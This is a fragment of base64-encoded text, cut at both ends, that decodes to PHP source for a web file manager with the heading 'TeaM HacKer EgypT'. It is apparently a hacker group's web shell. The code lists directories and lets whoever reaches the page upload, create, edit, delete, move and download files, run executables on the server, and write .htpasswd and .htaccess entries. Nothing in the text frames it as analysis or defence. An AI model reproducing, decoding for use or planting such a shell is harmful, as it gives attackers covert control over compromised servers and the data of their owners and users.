CgkJCXJldHVybiAhJGVycm9yOwoKCQl9IGVsc2UgewoJCQlyZXR1cm4gZmFsc2U7CgkJfQoKCX0g ZWxzZSB7CgkJcmV0dXJuIEB1bmxpbmsoJGZpbGUpOwoJfQoKfQoKZnVuY3Rpb24gYWRkc2xhc2gg KCRkaXJlY3RvcnkpIHsKCWdsb2JhbCAkZGVsaW07CgoJaWYgKHN1YnN0cigkZGlyZWN0b3J5LCAt MSwgMSkgIT0gJGRlbGltKSB7CgkJcmV0dXJuICRkaXJlY3RvcnkgLiAkZGVsaW07Cgl9IGVsc2Ug ewoJCXJldHVybiAkZGlyZWN0b3J5OwoJfQoKfQoKZnVuY3Rpb24gcmVsYXRpdmUyYWJzb2x1dGUg KCRzdHJpbmcsICRkaXJlY3RvcnkpIHsKCglpZiAocGF0aF9pc19yZWxhdGl2ZSgkc3RyaW5nKSkg ewoJCXJldHVybiBzaW1wbGlmeV9wYXRoKGFkZHNsYXNoKCRkaXJlY3RvcnkpIC4gJHN0cmluZyk7 Cgl9IGVsc2UgewoJCXJldHVybiBzaW1wbGlmeV9wYXRoKCRzdHJpbmcpOwoJfQoKfQoKZnVuY3Rp b24gcGF0aF9pc19yZWxhdGl2ZSAoJHBhdGgpIHsKCWdsb2JhbCAkd2luOwoKCWlmICgkd2luKSB7 CgkJcmV0dXJuIChzdWJzdHIoJHBhdGgsIDEsIDEpICE9ICc6Jyk7Cgl9IGVsc2UgewoJCXJldHVy biAoc3Vic3RyKCRwYXRoLCAwLCAxKSAhPSAnLycpOwoJfQoKfQoKZnVuY3Rpb24gYWJzb2x1dGUy cmVsYXRpdmUgKCRkaXJlY3RvcnksICR0YXJnZXQpIHsKCWdsb2JhbCAkZGVsaW07CgoJJHBhdGgg PSAnJzsKCXdoaWxlICgkZGlyZWN0b3J5ICE9ICR0YXJnZXQpIHsKCQlpZiAoJGRpcmVjdG9yeSA9 PSBzdWJzdHIoJHRhcmdldCwgMCwgc3RybGVuKCRkaXJlY3RvcnkpKSkgewoJCQkkcGF0aCAuPSBz dWJzdHIoJHRhcmdldCwgc3RybGVuKCRkaXJlY3RvcnkpKTsKCQkJYnJlYWs7CgkJfSBlbHNlIHsK CQkJJHBhdGggLj0gJy4uJyAuICRkZWxpbTsKCQkJJGRpcmVjdG9yeSA9IHN1YnN0cigkZGlyZWN0 b3J5LCAwLCBzdHJycG9zKHN1YnN0cigkZGlyZWN0b3J5LCAwLCAtMSksICRkZWxpbSkgKyAxKTsK CQl9Cgl9CglpZiAoJHBhdGggPT0gJycpICRwYXRoID0gJy4nOwoKCXJldHVybiAkcGF0aDsKCn0K CmZ1bmN0aW9uIHNpbXBsaWZ5X3BhdGggKCRwYXRoKSB7CglnbG9iYWwgJGRlbGltOwoKCWlmIChA ZmlsZV9leGlzdHMoJHBhdGgpICYmIGZ1bmN0aW9uX2V4aXN0cygncmVhbHBhdGgnKSAmJiBAcmVh bHBhdGgoJHBhdGgpICE9ICcnKSB7CgkJJHBhdGggPSByZWFscGF0aCgkcGF0aCk7CgkJaWYgKEBp c19kaXIoJHBhdGgpKSB7CgkJCXJldHVybiBhZGRzbGFzaCgkcGF0aCk7CgkJfSBlbHNlIHsKCQkJ cmV0dXJuICRwYXRoOwoJCX0KCX0KCgkkcGF0dGVybiAgPSAkZGVsaW0gLiAnLicgLiAkZGVsaW07 CgoJaWYgKEBpc19kaXIoJHBhdGgpKSB7CgkJJHBhdGggPSBhZGRzbGFzaCgkcGF0aCk7Cgl9CgoJ d2hpbGUgKHN0cnBvcygkcGF0aCwgJHBhdHRlcm4pICE9PSBmYWxzZSkgewoJCSRwYXRoID0gc3Ry X3JlcGxhY2UoJHBhdHRlcm4sICRkZWxpbSwgJHBhdGgpOwoJfQoKCSRlID0gYWRkc2xhc2hlcygk ZGVsaW0pOwoJJHJlZ2V4ID0gJGUgLiAnKChcLlteXC4nIC4gJGUgLiAnXVteJyAuICRlIC4gJ10q KXwoXC5cLlteJyAuICRlIC4gJ10rKXwoW15cLl1bXicgLiAkZSAuICddKikpJyAuICRlIC4gJ1wu XC4nIC4gJGU7CgoJd2hpbGUgKGVyZWcoJHJlZ2V4LCAkcGF0aCkpIHsKCQkkcGF0aCA9IGVyZWdf cmVwbGFjZSgkcmVnZXgsICRkZWxpbSwgJHBhdGgpOwoJfQoJCglyZXR1cm4gJHBhdGg7Cgp9Cgpm dW5jdGlvbiBodW1hbl9maWxlc2l6ZSAoJGZpbGVzaXplKSB7CgoJJHN1ZmZpY2VzID0gJ2tNR1RQ RSc7CgoJJG4gPSAwOwoJd2hpbGUgKCRmaWxlc2l6ZSA+PSAxMDAwKSB7CgkJJGZpbGVzaXplIC89 IDEwMjQ7CgkJJG4rKzsKCX0KCgkkZmlsZXNpemUgPSByb3VuZCgkZmlsZXNpemUsIDMgLSBzdHJw b3MoJGZpbGVzaXplLCAnLicpKTsKCglpZiAoc3RycG9zKCRmaWxlc2l6ZSwgJy4nKSAhPT0gZmFs c2UpIHsKCQl3aGlsZSAoaW5fYXJyYXkoc3Vic3RyKCRmaWxlc2l6ZSwgLTEsIDEpLCBhcnJheSgn MCcsICcuJykpKSB7CgkJCSRmaWxlc2l6ZSA9IHN1YnN0cigkZmlsZXNpemUsIDAsIHN0cmxlbigk ZmlsZXNpemUpIC0gMSk7CgkJfQoJfQoKCSRzdWZmaXggPSAoKCRuID09IDApID8gJycgOiBzdWJz dHIoJHN1ZmZpY2VzLCAkbiAtIDEsIDEpKTsKCglyZXR1cm4gJGZpbGVzaXplIC4gIiB7JHN1ZmZp eH1CIjsKCn0KCmZ1bmN0aW9uIHN0cmlwICgmJHN0cikgewoJJHN0ciA9IHN0cmlwc2xhc2hlcygk c3RyKTsKfQoKLyogLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAqLwoKZnVuY3Rpb24gbGlzdGluZ19wYWdlICgk bWVzc2FnZSA9IG51bGwpIHsKCWdsb2JhbCAkc2VsZiwgJGRpcmVjdG9yeSwgJHNvcnQsICRyZXZl cnNlOwoKCWh0bWxfaGVhZGVyKCk7CgoJJGxpc3QgPSBnZXRsaXN0KCRkaXJlY3RvcnkpOwoKCWlm IChhcnJheV9rZXlfZXhpc3RzKCdzb3J0JywgJF9HRVQpKSAkc29ydCA9ICRfR0VUWydzb3J0J107 IGVsc2UgJHNvcnQgPSAnZmlsZW5hbWUnOwoJaWYgKGFycmF5X2tleV9leGlzdHMoJ3JldmVyc2Un LCAkX0dFVCkgJiYgJF9HRVRbJ3JldmVyc2UnXSA9PSAndHJ1ZScpICRyZXZlcnNlID0gdHJ1ZTsg ZWxzZSAkcmV2ZXJzZSA9IGZhbHNlOwoKCXNvcnRsaXN0KCRsaXN0LCAkc29ydCwgJHJldmVyc2Up OwoKCWVjaG8gJzxoMSBzdHlsZT0ibWFyZ2luLWJvdHRvbTogMCI+VGVhTSBIYWNLZXIgRWd5cFQ8 L2gxPgoKPGZvcm0gZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgYWN0aW9uPSInIC4gJHNl bGYgLiAnIiBtZXRob2Q9InBvc3QiPgoKPHRhYmxlIGlkPSJtYWluIj4KJzsKCglkaXJlY3Rvcnlf Y2hvaWNlKCk7CgoJaWYgKCFlbXB0eSgkbWVzc2FnZSkpIHsKCQlzcGFjZXIoKTsKCQllY2hvICRt ZXNzYWdlOwoJfQoKCWlmIChAaXNfd3JpdGFibGUoJGRpcmVjdG9yeSkpIHsKCQl1cGxvYWRfYm94 KCk7CgkJY3JlYXRlX2JveCgpOwoJfSBlbHNlIHsKCQlzcGFjZXIoKTsKCX0KCglpZiAoJGxpc3Qp IHsKCQlsaXN0aW5nKCRsaXN0KTsKCX0gZWxzZSB7CgkJZWNobyBlcnJvcignbm90X3JlYWRhYmxl JywgJGRpcmVjdG9yeSk7Cgl9CgoJZWNobyAnPC90YWJsZT4KCjwvZm9ybT4KCic7CgoJaHRtbF9m b290ZXIoKTsKCn0KCmZ1bmN0aW9uIGxpc3RpbmcgKCRsaXN0KSB7CglnbG9iYWwgJGRpcmVjdG9y eSwgJGhvbWVkaXIsICRzb3J0LCAkcmV2ZXJzZSwgJHdpbiwgJGNvbHMsICRkYXRlX2Zvcm1hdCwg JHNlbGY7CgoJZWNobyAnPHRyIGNsYXNzPSJsaXN0aW5nIj4KCTx0aCBzdHlsZT0idGV4dC1hbGln bjogY2VudGVyOyB2ZXJ0aWNhbC1hbGlnbjogbWlkZGxlIj48aW1nIHNyYz0iJyAuICRzZWxmIC4g Jz9pbWFnZT1zbWlsZXkiIGFsdD0ic21pbGV5IiAvPjwvdGg+Cic7CgoJJGQgPSAnZGlyPScgLiB1 cmxlbmNvZGUoJGRpcmVjdG9yeSkgLiAnJmFtcDsnOwoKCWlmICghJHJldmVyc2UgJiYgJHNvcnQg PT0gJ2ZpbGVuYW1lJykgJHIgPSAnJmFtcDtyZXZlcnNlPXRydWUnOyBlbHNlICRyID0gJyc7Cgll Y2hvICJcdDx0aCBjbGFzcz1cImZpbGVuYW1lXCI+PGEgaHJlZj1cIiRzZWxmP3skZH1zb3J0PWZp bGVuYW1lJHJcIj4iIC4gd29yZCgnZmlsZW5hbWUnKSAuICI8L2E+PC90aD5cCiI7CgoJaWYgKCEk cmV2ZXJzZSAmJiAkc29ydCA9PSAnc2l6ZScpICRyID0gJyZhbXA7cmV2ZXJzZT10cnVlJzsgZWxz ZSAkciA9ICcnOwoJZWNobyAiXHQ8dGggY2xhc3M9XCJzaXplXCI+PGEgaHJlZj1cIiRzZWxmP3sk ZH1zb3J0PXNpemUkclwiPiIgLiB3b3JkKCdzaXplJykgLiAiPC9hPjwvdGg+XAoiOwoKCWlmICgh JHdpbikgewoKCQlpZiAoISRyZXZlcnNlICYmICRzb3J0ID09ICdwZXJtaXNzaW9uJykgJHIgPSAn JmFtcDtyZXZlcnNlPXRydWUnOyBlbHNlICRyID0gJyc7CgkJZWNobyAiXHQ8dGggY2xhc3M9XCJw ZXJtaXNzaW9uX2hlYWRlclwiPjxhIGhyZWY9XCIkc2VsZj97JGR9c29ydD1wZXJtaXNzaW9uJHJc Ij4iIC4gd29yZCgncGVybWlzc2lvbicpIC4gIjwvYT48L3RoPlwKIjsKCgkJaWYgKCEkcmV2ZXJz ZSAmJiAkc29ydCA9PSAnb3duZXInKSAkciA9ICcmYW1wO3JldmVyc2U9dHJ1ZSc7IGVsc2UgJHIg PSAnJzsKCQllY2hvICJcdDx0aCBjbGFzcz1cIm93bmVyXCI+PGEgaHJlZj1cIiRzZWxmP3skZH1z b3J0PW93bmVyJHJcIj4iIC4gd29yZCgnb3duZXInKSAuICI8L2E+PC90aD5cCiI7CgoJCWlmICgh JHJldmVyc2UgJiYgJHNvcnQgPT0gJ2dyb3VwJykgJHIgPSAnJmFtcDtyZXZlcnNlPXRydWUnOyBl bHNlICRyID0gJyc7CgkJZWNobyAiXHQ8dGggY2xhc3M9XCJncm91cFwiPjxhIGhyZWY9XCIkc2Vs Zj97JGR9c29ydD1ncm91cCRyXCI+IiAuIHdvcmQoJ2dyb3VwJykgLiAiPC9hPjwvdGg+XAoiOwoK CX0KCgllY2hvICcJPHRoIGNsYXNzPSJmdW5jdGlvbnMiPicgLiB3b3JkKCdmdW5jdGlvbnMnKSAu ICc8L3RoPgo8L3RyPgonOwoKCWZvciAoJGkgPSAwOyAkaSA8IHNpemVvZigkbGlzdCk7ICRpKysp IHsKCQkkZmlsZSA9ICRsaXN0WyRpXTsKCgkJJHRpbWVzdGFtcHMgID0gJ210aW1lOiAnIC4gZGF0 ZSgkZGF0ZV9mb3JtYXQsICRmaWxlWydtdGltZSddKSAuICcsICc7CgkJJHRpbWVzdGFtcHMgLj0g J2F0aW1lOiAnIC4gZGF0ZSgkZGF0ZV9mb3JtYXQsICRmaWxlWydhdGltZSddKSAuICcsICc7CgkJ JHRpbWVzdGFtcHMgLj0gJ2N0aW1lOiAnIC4gZGF0ZSgkZGF0ZV9mb3JtYXQsICRmaWxlWydjdGlt ZSddKTsKCgkJZWNobyAnPHRyIGNsYXNzPSJsaXN0aW5nIj4KCTx0ZCBjbGFzcz0iY2hlY2tib3gi PjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iY2hlY2tlZCcgLiAkaSAuICciIHZhbHVlPSJ0 cnVlIiBvbmZvY3VzPSJhY3RpdmF0ZShcJ290aGVyXCcpIiAvPjwvdGQ+Cgk8dGQgY2xhc3M9ImZp bGVuYW1lIiB0aXRsZT0iJyAuIGh0bWwoJHRpbWVzdGFtcHMpIC4gJyI+JzsKCgkJaWYgKCRmaWxl Wydpc19saW5rJ10pIHsKCgkJCWVjaG8gJzxpbWcgc3JjPSInIC4gJHNlbGYgLiAnP2ltYWdlPWxp bmsiIGFsdD0ibGluayIgLz4gJzsKCQkJZWNobyBodG1sKCRmaWxlWydmaWxlbmFtZSddKSAuICcg JnJhcnI7ICc7CgoJCQkkcmVhbF9maWxlID0gcmVsYXRpdmUyYWJzb2x1dGUoJGZpbGVbJ3Rhcmdl dCddLCAkZGlyZWN0b3J5KTsKCgkJCWlmIChAaXNfcmVhZGFibGUoJHJlYWxfZmlsZSkpIHsKCQkJ CWlmIChAaXNfZGlyKCRyZWFsX2ZpbGUpKSB7CgkJCQkJZWNobyAnWyA8YSBocmVmPSInIC4gJHNl bGYgLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRyZWFsX2ZpbGUpIC4gJyI+JyAuIGh0bWwoJGZpbGVb J3RhcmdldCddKSAuICc8L2E+IF0nOwoJCQkJfSBlbHNlIHsKCQkJCQllY2hvICc8YSBocmVmPSIn IC4gJHNlbGYgLiAnP2FjdGlvbj12aWV3JmFtcDtmaWxlPScgLiB1cmxlbmNvZGUoJHJlYWxfZmls ZSkgLiAnIj4nIC4gaHRtbCgkZmlsZVsndGFyZ2V0J10pIC4gJzwvYT4nOwoJCQkJfQoJCQl9IGVs c2UgewoJCQkJZWNobyBodG1sKCRmaWxlWyd0YXJnZXQnXSk7CgkJCX0KCgkJfSBlbHNlaWYgKCRm aWxlWydpc19kaXInXSkgewoKCQkJZWNobyAnPGltZyBzcmM9IicgLiAkc2VsZiAuICc/aW1hZ2U9 Zm9sZGVyIiBhbHQ9ImZvbGRlciIgLz4gWyAnOwoJCQlpZiAoJHdpbiB8fCAkZmlsZVsnaXNfZXhl Y3V0YWJsZSddKSB7CgkJCQllY2hvICc8YSBocmVmPSInIC4gJHNlbGYgLiAnP2Rpcj0nIC4gdXJs ZW5jb2RlKCRmaWxlWydwYXRoJ10pIC4gJyI+JyAuIGh0bWwoJGZpbGVbJ2ZpbGVuYW1lJ10pIC4g JzwvYT4nOwoJCQl9IGVsc2UgewoJCQkJZWNobyBodG1sKCRmaWxlWydmaWxlbmFtZSddKTsKCQkJ fQoJCQllY2hvICcgXSc7CgoJCX0gZWxzZSB7CgoJCQlpZiAoc3Vic3RyKCRmaWxlWydmaWxlbmFt ZSddLCAwLCAxKSA9PSAnLicpIHsKCQkJCWVjaG8gJzxpbWcgc3JjPSInIC4gJHNlbGYgLiAnP2lt YWdlPWhpZGRlbl9maWxlIiBhbHQ9ImhpZGRlbiBmaWxlIiAvPiAnOwoJCQl9IGVsc2UgewoJCQkJ ZWNobyAnPGltZyBzcmM9IicgLiAkc2VsZiAuICc/aW1hZ2U9ZmlsZSIgYWx0PSJmaWxlIiAvPiAn OwoJCQl9CgoJCQlpZiAoJGZpbGVbJ2lzX2ZpbGUnXSAmJiAkZmlsZVsnaXNfcmVhZGFibGUnXSkg ewoJCQkgICBlY2hvICc8YSBocmVmPSInIC4gJHNlbGYgLiAnP2FjdGlvbj12aWV3JmFtcDtmaWxl PScgLiB1cmxlbmNvZGUoJGZpbGVbJ3BhdGgnXSkgLiAnIj4nIC4gaHRtbCgkZmlsZVsnZmlsZW5h bWUnXSkgLiAnPC9hPic7CgkJCX0gZWxzZSB7CgkJCQllY2hvIGh0bWwoJGZpbGVbJ2ZpbGVuYW1l J10pOwoJCQl9CgoJCX0KCgkJaWYgKCRmaWxlWydzaXplJ10gPj0gMTAwMCkgewoJCQkkaHVtYW4g PSAnIHRpdGxlPSInIC4gaHVtYW5fZmlsZXNpemUoJGZpbGVbJ3NpemUnXSkgLiAnIic7CgkJfSBl bHNlIHsKCQkJJGh1bWFuID0gJyc7CgkJfQoKCQllY2hvICJcdDx0ZCBjbGFzcz1cInNpemVcIiRo dW1hbj57JGZpbGVbJ3NpemUnXX0gQjwvdGQ+XAoiOwoKCQlpZiAoISR3aW4pIHsKCgkJCWVjaG8g Ilx0PHRkIGNsYXNzPVwicGVybWlzc2lvblwiIHRpdGxlPVwiIiAuIGRlY29jdCgkZmlsZVsncGVy bWlzc2lvbiddKSAuICciPic7CgoJCQkkbCA9ICEkZmlsZVsnaXNfbGluayddICYmICghZnVuY3Rp b25fZXhpc3RzKCdwb3NpeF9nZXR1aWQnKSB8fCAkZmlsZVsnb3duZXInXSA9PSBwb3NpeF9nZXR1 aWQoKSk7CgkJCWlmICgkbCkgZWNobyAnPGEgaHJlZj0iJyAuICRzZWxmIC4gJz9hY3Rpb249cGVy bWlzc2lvbiZhbXA7ZmlsZT0nIC4gdXJsZW5jb2RlKCRmaWxlWydwYXRoJ10pIC4gJyZhbXA7ZGly PScgLiB1cmxlbmNvZGUoJGRpcmVjdG9yeSkgLiAnIj4nOwoJCQllY2hvIGh0bWwocGVybWlzc2lv bl9vY3RhbDJzdHJpbmcoJGZpbGVbJ3Blcm1pc3Npb24nXSkpOwoJCQlpZiAoJGwpIGVjaG8gJzwv YT4nOwoKCQkJZWNobyAiPC90ZD5cCiI7CgoJCQlpZiAoYXJyYXlfa2V5X2V4aXN0cygnb3duZXJf bmFtZScsICRmaWxlKSkgewoJCQkJZWNobyAiXHQ8dGQgY2xhc3M9XCJvd25lclwiIHRpdGxlPVwi dWlkOiB7JGZpbGVbJ293bmVyJ119XCI+eyRmaWxlWydvd25lcl9uYW1lJ119PC90ZD5cCiI7CgkJ CX0gZWxzZSB7CgkJCQllY2hvICJcdDx0ZCBjbGFzcz1cIm93bmVyXCI+eyRmaWxlWydvd25lcidd fTwvdGQ+XAoiOwoJCQl9CgoJCQlpZiAoYXJyYXlfa2V5X2V4aXN0cygnZ3JvdXBfbmFtZScsICRm aWxlKSkgewoJCQkJZWNobyAiXHQ8dGQgY2xhc3M9XCJncm91cFwiIHRpdGxlPVwiZ2lkOiB7JGZp bGVbJ2dyb3VwJ119XCI+eyRmaWxlWydncm91cF9uYW1lJ119PC90ZD5cCiI7CgkJCX0gZWxzZSB7 CgkJCQllY2hvICJcdDx0ZCBjbGFzcz1cImdyb3VwXCI+eyRmaWxlWydncm91cCddfTwvdGQ+XAoi OwoJCQl9CgoJCX0KCgkJZWNobyAnCTx0ZCBjbGFzcz0iZnVuY3Rpb25zIj4KCQk8aW5wdXQgdHlw ZT0iaGlkZGVuIiBuYW1lPSJmaWxlJyAuICRpIC4gJyIgdmFsdWU9IicgLiBodG1sKCRmaWxlWydw YXRoJ10pIC4gJyIgLz4KJzsKCgkJJGFjdGlvbnMgPSBhcnJheSgpOwoJCWlmIChmdW5jdGlvbl9l eGlzdHMoJ3N5bWxpbmsnKSkgewoJCQkkYWN0aW9uc1tdID0gJ2NyZWF0ZV9zeW1saW5rJzsKCQl9 CgkJaWYgKEBpc193cml0YWJsZShkaXJuYW1lKCRmaWxlWydwYXRoJ10pKSkgewoJCQkkYWN0aW9u c1tdID0gJ2RlbGV0ZSc7CgkJCSRhY3Rpb25zW10gPSAncmVuYW1lJzsKCQkJJGFjdGlvbnNbXSA9 ICdtb3ZlJzsKCQl9CgkJaWYgKCRmaWxlWydpc19maWxlJ10gJiYgJGZpbGVbJ2lzX3JlYWRhYmxl J10pIHsKCQkJJGFjdGlvbnNbXSA9ICdjb3B5JzsKCQkJJGFjdGlvbnNbXSA9ICdkb3dubG9hZCc7 CgkJCWlmICgkZmlsZVsnaXNfd3JpdGFibGUnXSkgJGFjdGlvbnNbXSA9ICdlZGl0JzsKCQl9CgkJ aWYgKCEkd2luICYmIGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpICYmICRmaWxlWydpc19maWxlJ10g JiYgJGZpbGVbJ2lzX2V4ZWN1dGFibGUnXSAmJiBmaWxlX2V4aXN0cygnL2Jpbi9zaCcpKSB7CgkJ CSRhY3Rpb25zW10gPSAnZXhlY3V0ZSc7CgkJfQoKCQlpZiAoc2l6ZW9mKCRhY3Rpb25zKSA+IDAp IHsKCgkJCWVjaG8gJwkJPHNlbGVjdCBjbGFzcz0ic21hbGwiIG5hbWU9ImFjdGlvbicgLiAkaSAu ICciIHNpemU9IjEiPgoJCTxvcHRpb24gdmFsdWU9IiI+JyAuIHN0cl9yZXBlYXQoJyZuYnNwOycs IDMwKSAuICc8L29wdGlvbj4KJzsKCgkJCWZvcmVhY2ggKCRhY3Rpb25zIGFzICRhY3Rpb24pIHsK CQkJCWVjaG8gIlx0XHQ8b3B0aW9uIHZhbHVlPVwiJGFjdGlvblwiPiIgLiB3b3JkKCRhY3Rpb24p IC4gIjwvb3B0aW9uPlwKIjsKCQkJfQoKCQkJZWNobyAnCQk8L3NlbGVjdD4KCQk8aW5wdXQgY2xh c3M9InNtYWxsIiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCcgLiAkaSAuICciIHZhbHVlPSIg Jmd0OyAiIG9uZm9jdXM9ImFjdGl2YXRlKFwnb3RoZXJcJykiIC8+Cic7CgoJCX0KCgkJZWNobyAn CTwvdGQ+CjwvdHI+Cic7CgoJfQoKCWVjaG8gJzx0ciBjbGFzcz0ibGlzdGluZ19mb290ZXIiPgoJ PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiByaWdodDsgdmVydGljYWwtYWxpZ246IHRvcCI+PGltZyBz cmM9IicgLiAkc2VsZiAuICc/aW1hZ2U9YXJyb3ciIGFsdD0iJmd0OyIgLz48L3RkPgoJPHRkIGNv bHNwYW49IicgLiAoJGNvbHMgLSAxKSAuICciPgoJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9 Im51bSIgdmFsdWU9IicgLiBzaXplb2YoJGxpc3QpIC4gJyIgLz4KCQk8aW5wdXQgdHlwZT0iaGlk ZGVuIiBuYW1lPSJmb2N1cyIgdmFsdWU9IiIgLz4KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1l PSJvbGRkaXIiIHZhbHVlPSInIC4gaHRtbCgkZGlyZWN0b3J5KSAuICciIC8+Cic7CgoJJGFjdGlv bnMgPSBhcnJheSgpOwoJaWYgKEBpc193cml0YWJsZShkaXJuYW1lKCRmaWxlWydwYXRoJ10pKSkg ewoJCSRhY3Rpb25zW10gPSAnZGVsZXRlJzsKCQkkYWN0aW9uc1tdID0gJ21vdmUnOwoJfQoJJGFj dGlvbnNbXSA9ICdjb3B5JzsKCgllY2hvICcJCTxzZWxlY3QgY2xhc3M9InNtYWxsIiBuYW1lPSJh Y3Rpb25fYWxsIiBzaXplPSIxIj4KCQk8b3B0aW9uIHZhbHVlPSIiPicgLiBzdHJfcmVwZWF0KCcm bmJzcDsnLCAzMCkgLiAnPC9vcHRpb24+Cic7CgoJZm9yZWFjaCAoJGFjdGlvbnMgYXMgJGFjdGlv bikgewoJCWVjaG8gIlx0XHQ8b3B0aW9uIHZhbHVlPVwiJGFjdGlvblwiPiIgLiB3b3JkKCRhY3Rp b24pIC4gIjwvb3B0aW9uPlwKIjsKCX0KCgllY2hvICcJCTwvc2VsZWN0PgoJCTxpbnB1dCBjbGFz cz0ic21hbGwiIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0X2FsbCIgdmFsdWU9IiAmZ3Q7ICIg b25mb2N1cz0iYWN0aXZhdGUoXCdvdGhlclwnKSIgLz4KCTwvdGQ+CjwvdHI+Cic7Cgp9CgpmdW5j dGlvbiBkaXJlY3RvcnlfY2hvaWNlICgpIHsKCWdsb2JhbCAkZGlyZWN0b3J5LCAkaG9tZWRpciwg JGNvbHMsICRzZWxmOwoKCWVjaG8gJzx0cj4KCTx0ZCBjb2xzcGFuPSInIC4gJGNvbHMgLiAnIiBp ZD0iZGlyZWN0b3J5Ij4KCQk8YSBocmVmPSInIC4gJHNlbGYgLiAnP2Rpcj0nIC4gdXJsZW5jb2Rl KCRob21lZGlyKSAuICciPicgLiB3b3JkKCdkaXJlY3RvcnknKSAuICc8L2E+OgoJCTxpbnB1dCB0 eXBlPSJ0ZXh0IiBuYW1lPSJkaXIiIHNpemU9IicgLiB0ZXh0ZmllbGRzaXplKCRkaXJlY3Rvcnkp IC4gJyIgdmFsdWU9IicgLiBodG1sKCRkaXJlY3RvcnkpIC4gJyIgb25mb2N1cz0iYWN0aXZhdGUo XCdkaXJlY3RvcnlcJykiIC8+CgkJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iY2hhbmdlZGly IiB2YWx1ZT0iJyAuIHdvcmQoJ2NoYW5nZScpIC4gJyIgb25mb2N1cz0iYWN0aXZhdGUoXCdkaXJl Y3RvcnlcJykiIC8+Cgk8L3RkPgo8L3RyPgonOwoKfQoKZnVuY3Rpb24gdXBsb2FkX2JveCAoKSB7 CglnbG9iYWwgJGNvbHM7CgoJZWNobyAnPHRyPgoJPHRkIGNvbHNwYW49IicgLiAkY29scyAuICci IGlkPSJ1cGxvYWQiPgoJCScgLiB3b3JkKCdmaWxlJykgLiAnOgoJCTxpbnB1dCB0eXBlPSJmaWxl IiBuYW1lPSJ1cGxvYWQiIG9uZm9jdXM9ImFjdGl2YXRlKFwnb3RoZXJcJykiIC8+CgkJPGlucHV0 IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0X3VwbG9hZCIgdmFsdWU9IicgLiB3b3JkKCd1cGxv YWQnKSAuICciIG9uZm9jdXM9ImFjdGl2YXRlKFwnb3RoZXJcJykiIC8+Cgk8L3RkPgo8L3RyPgon OwoKfQoKZnVuY3Rpb24gY3JlYXRlX2JveCAoKSB7CglnbG9iYWwgJGNvbHM7CgoJZWNobyAnPHRy PgoJPHRkIGNvbHNwYW49IicgLiAkY29scyAuICciIGlkPSJjcmVhdGUiPgoJCTxzZWxlY3QgbmFt ZT0iY3JlYXRlX3R5cGUiIHNpemU9IjEiIG9uZm9jdXM9ImFjdGl2YXRlKFwnY3JlYXRlXCcpIj4K CQk8b3B0aW9uIHZhbHVlPSJmaWxlIj4nIC4gd29yZCgnZmlsZScpIC4gJzwvb3B0aW9uPgoJCTxv cHRpb24gdmFsdWU9ImRpcmVjdG9yeSI+JyAuIHdvcmQoJ2RpcmVjdG9yeScpIC4gJzwvb3B0aW9u PgoJCTwvc2VsZWN0PgoJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjcmVhdGVfbmFtZSIgb25m b2N1cz0iYWN0aXZhdGUoXCdjcmVhdGVcJykiIC8+CgkJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFt ZT0ic3VibWl0X2NyZWF0ZSIgdmFsdWU9IicgLiB3b3JkKCdjcmVhdGUnKSAuICciIG9uZm9jdXM9 ImFjdGl2YXRlKFwnY3JlYXRlXCcpIiAvPgoJPC90ZD4KPC90cj4KJzsKCn0KCmZ1bmN0aW9uIGVk aXQgKCRmaWxlKSB7CglnbG9iYWwgJHNlbGYsICRkaXJlY3RvcnksICRlZGl0Y29scywgJGVkaXRy b3dzLCAkYXBhY2hlLCAkaHRwYXNzd2QsICRodGFjY2VzczsKCglodG1sX2hlYWRlcigpOwoKCWVj aG8gJzxoMiBzdHlsZT0ibWFyZ2luLWJvdHRvbTogM3B0Ij4nIC4gaHRtbCgkZmlsZSkgLiAnPC9o Mj4KCjxmb3JtIGFjdGlvbj0iJyAuICRzZWxmIC4gJyIgbWV0aG9kPSJwb3N0Ij4KCjx0YWJsZSBj bGFzcz0iZGlhbG9nIj4KPHRyPgo8dGQgY2xhc3M9ImRpYWxvZyI+CgoJPHRleHRhcmVhIG5hbWU9 ImNvbnRlbnQiIGNvbHM9IicgLiAkZWRpdGNvbHMgLiAnIiByb3dzPSInIC4gJGVkaXRyb3dzIC4g JyIgV1JBUD0ib2ZmIj4nOwoKCWlmIChhcnJheV9rZXlfZXhpc3RzKCdjb250ZW50JywgJF9QT1NU KSkgewoJCWVjaG8gJF9QT1NUWydjb250ZW50J107Cgl9IGVsc2UgewoJCSRmID0gZm9wZW4oJGZp bGUsICdyJyk7CgkJd2hpbGUgKCFmZW9mKCRmKSkgewoJCQllY2hvIGh0bWwoZnJlYWQoJGYsIDgx OTIpKTsKCQl9CgkJZmNsb3NlKCRmKTsKCX0KCglpZiAoIWVtcHR5KCRfUE9TVFsndXNlciddKSkg ewoJCWVjaG8gIlwKIiAuICRfUE9TVFsndXNlciddIC4gJzonIC4gY3J5cHQoJF9QT1NUWydwYXNz d29yZCddKTsKCX0KCWlmICghZW1wdHkoJF9QT1NUWydiYXNpY19hdXRoJ10pKSB7CgkJaWYgKCR3 aW4pIHsKCQkJJGF1dGhmaWxlID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkZGlyZWN0b3J5KSAu ICRodHBhc3N3ZDsKCQl9IGVsc2UgewoJCQkkYXV0aGZpbGUgPSAkZGlyZWN0b3J5IC4gJGh0cGFz c3dkOwoJCX0KCQllY2hvICJcCkF1dGhUeXBlIEJhc2ljXApBdXRoTmFtZSAmcXVvdDtSZXN0cmlj dGVkIERpcmVjdG9yeSZxdW90O1wKIjsKCQllY2hvICdBdXRoVXNlckZpbGUgJnF1b3Q7JyAuIGh0 